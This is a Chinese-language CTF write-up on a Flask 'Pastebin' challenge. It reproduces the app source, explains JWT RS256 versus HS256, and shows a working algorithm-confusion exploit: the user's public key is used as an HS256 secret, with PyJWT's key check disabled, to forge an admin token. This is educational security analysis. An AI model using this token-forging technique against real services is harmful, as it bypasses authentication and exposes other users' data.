题目链接https://github.com/wonderkun/CTF_web/tree/5b08d23ba4086992cbb9f3f4da89a6bb1346b305/web300-6
参考链接 https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin?tdsourcetag=s_pctim_aiomsg
https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/
http://www.cnblogs.com/dliv3/p/7450057.html
虽然看着表哥的思路把题目解出来了,但还是云里雾里的,拿到源码分析一波把

1 import os,time 2 from flask import Flask, render_template, request,jsonify 3 from flask_sqlalchemy import SQLAlchemy 4 import jwt 5 import string 6 from Crypto import Random 7 from Crypto.Hash import SHA 8 from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5 9 from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5 10 from Crypto.PublicKey import RSA 11 import base64 12 import cgi 13 from urllib import quote 14 from urllib import unquote 15 import hashlib 16 import json 17 18 19 app = Flask(__name__) 20 app.secret_key = os.urandom(24) 21 app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/pastebin.db' 22 app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True 23 db = SQLAlchemy(app) 24 random_generator = Random.new().read 25 rsa = RSA.generate(1024, random_generator) 26 27 class User(db.Model): 28 __tablename__ = 'user' 29 id = db.Column(db.Integer, primary_key=True) 30 username = db.Column(db.Text) 31 password = db.Column(db.Text) 32 priv = db.Column(db.Text) 33 key = db.Column(db.Text) 34 token = db.Column(db.Text) 35 36 def __init__(self, username, password, priv, key, token): 37 self.username = username 38 self.password = password 39 self.priv = priv 40 self.key = key 41 self.token = token 42 43 def __repr__(self): 44 return '<User id:{}, username:{}, password:{}, priv:{}, key:{}, token:{}>'.format(self.id, self.username, self.password, self.priv, self.key, self.token) 45 46 class Link(db.Model): 47 __tablename__ = 'link' 48 id = db.Column(db.Integer, primary_key=True) 49 username = db.Column(db.Text) 50 link = db.Column(db.Text) 51 content = db.Column(db.Text) 52 53 def __init__(self, username, link, content): 54 self.username = username 55 self.link = link 56 self.content = content 57 58 def __repr__(self): 59 return '<Link id:{}, username:{}, link:{}, content:{}'.format(self.id, self.username, self.link, self.content) 60 61 def defense(input_str): 62 for c in input_str: 63 if c not in string.letters and c not in string.digits: 64 return False 65 return True 66 67 def getmd5(str): 68 m = hashlib.md5() 69 m.update(str) 70 return m.hexdigest() 71 72 def getname(str, value): 73 try: 74 tmp = str.split('.')[1] 75 while True: 76 if len(tmp)%4 == 0: 77 break 78 tmp = tmp + "=" 79 username = json.loads(base64.b64decode(tmp))['name'] 80 except: 81 return False 82 user = User.query.filter_by(username=username,).first() 83 if not user: 84 return False 85 key_name = user.key 86 with open('./pubkey/' + key_name + '.pem', 'r') as f: 87 secret = f.read() 88 # print(secret) 89 try: 90 de_user = jwt.decode(str, secret) 91 except Exception as e: 92 # print(e) 93 return False 94 # print(de_user) 95 name = de_user[value] 96 return name 97 98 99 @app.route("/") 100 def index(): 101 return render_template("index.html") 102 103 @app.route("/user") 104 def user(): 105 return render_template("user.html") 106 107 @app.route("/reg",methods=['POST']) 108 def reg(): 109 regname = request.form['regname'] 110 if regname == "admin": 111 return jsonify(result=False,) 112 regpass = request.form['regpass'] 113 if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first(): 114 return jsonify(result=False,) 115 private_pem = rsa.exportKey() 116 public_pem = rsa.publickey().exportKey() 117 key_name = getmd5(regname + regpass) 118 with open('./key/' + key_name + '.pem', 'w') as f: 119 f.write(private_pem) 120 with open('./pubkey/' + key_name + '.pem', 'w') as f: 121 f.write(public_pem) 122 if regname == "admin": 123 priv = "admin" 124 else: 125 priv = "other" 126 token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256') 127 user = User(regname, regpass, priv, key_name, token) 128 db.session.add(user) 129 db.session.commit() 130 return jsonify(result=True,) 131 @app.route("/login",methods=['POST']) 132 def login(): 133 username = request.form['name'] 134 password = request.form['pass'] 135 if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password): 136 return jsonify(result=False,) 137 user = User.query.filter_by(username=username,password=password,).first() 138 if not user: 139 return jsonify(result=False,) 140 return jsonify(result=True,token=user.token,) 141 142 @app.route("/paste",methods=['POST']) 143 def paste(): 144 content = unquote(request.form['content']) 145 if len(content)>300: 146 return jsonify(result=False,) 147 try: 148 post_token = request.headers['Authorization'][7:] 149 except: 150 return jsonify(result=False,) 151 name = getname(post_token, "name") 152 if name == False: 153 return jsonify(result=False,) 154 if name == "admin": 155 return jsonify(result=False,) 156 link = getmd5(os.urandom(24)) 157 content = cgi.escape(content) 158 li = Link(name, link, content) 159 db.session.add(li) 160 db.session.commit() 161 return jsonify(result=True,link=name+":"+link) 162 163 @app.route("/list",methods=["GET"]) 164 def list(): 165 try: 166 post_token = request.headers['Authorization'][7:] 167 except: 168 return jsonify(result=False,) 169 name = getname(post_token, "name") 170 if name == False: 171 return jsonify(result=False,) 172 priv = getname(post_token, "priv") 173 if priv == False: 174 return jsonify(result=False,) 175 if priv == "other": 176 li = Link.query.filter_by(username=name,) 177 links = [] 178 for lin in li: 179 links.append(name + ":" + lin.link) 180 return jsonify(result=True,username=name,links=links) 181 if priv == "admin": 182 li = Link.query.filter_by() 183 links = [] 184 for lin in li: 185 links.append(lin.username + ":" + lin.link) 186 return jsonify(result=True,username="admin",links=links) 187 188 @app.route("/pubkey/<key>",methods=["GET"]) 189 def getkey(key): 190 try: 191 with open('./pubkey/' + key + '.pem', 'r') as f: 192 secret = f.read() 193 return jsonify(result=True,pubkey=secret,) 194 except: 195 return jsonify(result=False,) 196 197 @app.route("/text/<link>",methods=["GET"]) 198 def getcontent(link): 199 name = link.split(":")[0] 200 links = link.split(":")[1] 201 if defense(name) == False or defense(links) == False: 202 return jsonify(result=False,) 203 li = Link.query.filter_by(username=name,link=links,).first() 204 if not li: 205 return jsonify(result=False,) 206 return jsonify(result=True,content=li.content,) 207 208 209 app.run(debug=False,host='0.0.0.0')
是用flask写的先看注册的代码
1 @app.route("/reg",methods=['POST']) 2 def reg(): 3 regname = request.form['regname'] 4 if regname == "admin": 5 return jsonify(result=False,) 6 regpass = request.form['regpass'] 7 if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first(): 8 return jsonify(result=False,) 9 private_pem = rsa.exportKey() 10 public_pem = rsa.publickey().exportKey() 11 key_name = getmd5(regname + regpass) 12 with open('./key/' + key_name + '.pem', 'w') as f: 13 f.write(private_pem) 14 with open('./pubkey/' + key_name + '.pem', 'w') as f: 15 f.write(public_pem) 16 if regname == "admin": 17 priv = "admin" 18 else: 19 priv = "other" 20 token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256') 21 user = User(regname, regpass, priv, key_name, token) 22 db.session.add(user) 23 db.session.commit() 24 return jsonify(result=True,)
首先是不允许注册admin用户 其次会判断账号密码长度>5 且<20 然后会进入defen函数
def defense(input_str): for c in input_str: if c not in string.letters and c not in string.digits: return False return True
跟进去发现是要求参数必须是
然后会生成rsa的公钥私钥
private_pem = rsa.exportKey()
public_pem = rsa.publickey().exportKey()
之后会把用户的私钥和公钥存放在目录中
key_name = getmd5(regname + regpass) with open('./key/' + key_name + '.pem', 'w') as f: f.write(private_pem) with open('./pubkey/' + key_name + '.pem', 'w') as f: f.write(public_pem)
命名格式为
getmd5(regname + regpass)
之后是给普通用户为other权限
再之后生成token
token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
查阅资料如下
JWT签名算法中,一般有两个选择,一个采用HS256,另外一个就是采用RS256。 签名实际上是一个加密的过程,生成一段标识(也是JWT的一部分)作为接收方验证信息是否被篡改的依据。 RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。 另一方面, HS256 (带有 SHA-256 的 HMAC 是一种对称算法, 双方之间仅共享一个 密钥。由于使用相同的密钥生成签名和验证签名, 因此必须注意确保密钥不被泄密。 在开发应用的时候启用JWT,使用RS256更加安全,你可以控制谁能使用什么类型的密钥。另外,如果你无法控制客户端,无法做到密钥的完全保密,RS256会是个更佳的选择,JWT的使用方只需要知道公钥。 由于公钥通常可以从元数据URL节点获得,因此可以对客户端进行进行编程以自动检索公钥。如果采用这种方式,从服务器上直接下载公钥信息,可以有效的减少配置信息。
RS256为非对称的算法
标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。
加密后入库保存 具体数据库操作代码就不追踪了,注册流程到这
接着看登陆的函数
@app.route("/login",methods=['POST']) def login(): username = request.form['name'] password = request.form['pass'] if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password): return jsonify(result=False,) user = User.query.filter_by(username=username,password=password,).first() if not user: return jsonify(result=False,) return jsonify(result=True,token=user.token,)
逻辑上差不多就是个登陆验证,登陆成功后进入了主界面有两个功能
一个是存储的功能paste 另一个是查看功能看看你存储了哪些东西,先来看paste功能
@app.route("/paste",methods=['POST']) def paste(): content = unquote(request.form['content']) if len(content)>300: return jsonify(result=False,) try: post_token = request.headers['Authorization'][7:] except: return jsonify(result=False,) name = getname(post_token, "name") if name == False: return jsonify(result=False,) if name == "admin": return jsonify(result=False,) link = getmd5(os.urandom(24)) content = cgi.escape(content) li = Link(name, link, content) db.session.add(li) db.session.commit() return jsonify(result=True,link=name+":"+link)
接受传进来的参数content 并且长度不能大于300 获取http头中的参数
post_token = request.headers['Authorization'][7:]
然后从Authorization解析出name变量来
name = getname(post_token, "name")
跟进getname函数
def getname(str, value): try: tmp = str.split('.')[1] while True: if len(tmp)%4 == 0: break tmp = tmp + "=" username = json.loads(base64.b64decode(tmp))['name'] except: return False user = User.query.filter_by(username=username,).first() if not user: return False key_name = user.key with open('./pubkey/' + key_name + '.pem', 'r') as f: secret = f.read() # print(secret) try: de_user = jwt.decode(str, secret) except Exception as e: # print(e) return False # print(de_user) name = de_user[value] return name
先用burpsuite抓包看看Authorzation是啥样
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdGVyIiwicHJpdiI6Im90aGVyIn0.FTnXqCb7drMUhsKChxDWIDdG6_KkC7bFORthEhQJh5JamKMeUB4aNGYgh_M0UTcZGcN_3I0ElsboDA4QglrLZVtllzXAYpunHWWH15BDtMaFk7aqwxqRzBCyWDM7vjErq3YvzYBnguwtF_uaTtKWN9DvNSyVk0eP-hae13JBdRY
这就是用jwt 以rs256加密后的
token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
有个解析的网站https://jwt.io/#debugger-io 扔进去看看

由3个部分组成的,由三个.分隔,分别是
header
payload
Sinature
每一部分都是base64编码的。
header
通常由两部分组成:令牌的类型,即JWT和正在使用的散列算法,如HMAC SHA256或RSA
{ "alg": "RS256", "typ": "JWT" }
alg为算法的缩写,typ为类型的缩写,然后,这个JSON被Base64编码,形成JSON Web Token的第一部分。
payload
令牌的第二部分是包含声明的有效负载。声明是关于实体(通常是用户)和其他元数据的声明。 这里是用户随意定义的数据 例如上面的举例
{ "name": "tester", "priv": "other" }
Signature
要创建签名部分,必须采用header,payload,密钥。然后利用header中指定算法进行签名,例如RS256(RSA SHA256),签名的构成为:
RSASHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), Public Key or Certificate. Enter it in plain text only if you want to verify a token , Private Key. Enter it in plain text only if you want to generate a new token. The key never leaves your browser. )
HS256(HMAC SHA256),签名的构成为:
HMACSHA256( base64Encode(header) + "." + base64Encode(payload), secret)
继续看name函数
调试输出一下试试
username为当前用户名
然后根据用户名 进入数据库查到对应的公钥user.key并赋值给secret
user = User.query.filter_by(username=username,).first()
然后进入
de_user = jwt.decode(str, secret)
这里的str是刚才jwt.decode用私钥 以rs256的方式加密的,然后将公钥secret给他解密后 给de_user返回value
将内容打印出来
取所需要的value返回
走回paste函数往下走 这个类似php中转义xss的那个函数htmlbalbalba
cgi.escape(txt) #
这样paste函数就完事了
之后进入list函数
@app.route("/list",methods=["GET"]) def list(): try: post_token = request.headers['Authorization'][7:] except: return jsonify(result=False,) name = getname(post_token, "name") if name == False: return jsonify(result=False,) priv = getname(post_token, "priv") if priv == False: return jsonify(result=False,) if priv == "other": li = Link.query.filter_by(username=name,) links = [] for lin in li: links.append(name + ":" + lin.link) return jsonify(result=True,username=name,links=links) if priv == "admin": li = Link.query.filter_by() links = [] for lin in li: links.append(lin.username + ":" + lin.link) return jsonify(result=True,username="admin",links=links)
首先通过获取到想要的值
name = getname(post_token, "name") priv = getname(post_token, "priv")
接下来判断如果name的权限是other就返回该name的paste内容 是admin 就返回所有的paste内容
代码通读完了 大体功能也了解了 虽然不知道具体细节 但大体思路还是清楚的大概就是验证身份的时候存在问题
这其实是一个算法篡改攻击,因为服务器利用的RS256算法,用的是私钥进行签名,公钥进行验证的,(https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)
查看js /static/js/common.js
function getpubkey(){ /* get the pubkey for test /pubkey/{md5(username+password)} */ }
可以通过这里找到自己私钥
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB\n-----END PUBLIC KEY-----","result":true}
规范下格式
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB -----END PUBLIC KEY-----
我们可以获取到自己的public key。JWT的header部分中,有签名算法标识alg,而alg是用于签名算法的选择,最后保证用户的数据不被篡改。但是在数据处理不正确的情况下,可能存在alg的恶意篡改。我们可以伪造算法为hs256,然后利用我们的获取的public key,来签名伪造的数据,绕过验证。PyJWT库中对这种攻击做了预防,不允许hs256的密钥中出现下面这些字符,具体见algorithms.py:151
直接注释掉
def prepare_key(self, key): key = force_bytes(key) return key
import jwt public = open("1.txt",'r').read() print jwt.encode({"name":"aoligei","priv":"admin"},key=public,algorithm='HS256')
生成的字符串替换掉对应的Authortion
list的时候再次进入get_name函数的时候
key_name = user.key with open('./pubkey/' + key_name + '.pem', 'r') as f: secret = f.read()
从数据库取出来的secret 和用通过pubkey目录的公钥是一样的 因为HS256是对称的所以直接解密即可 伪造一个admin权限绕过if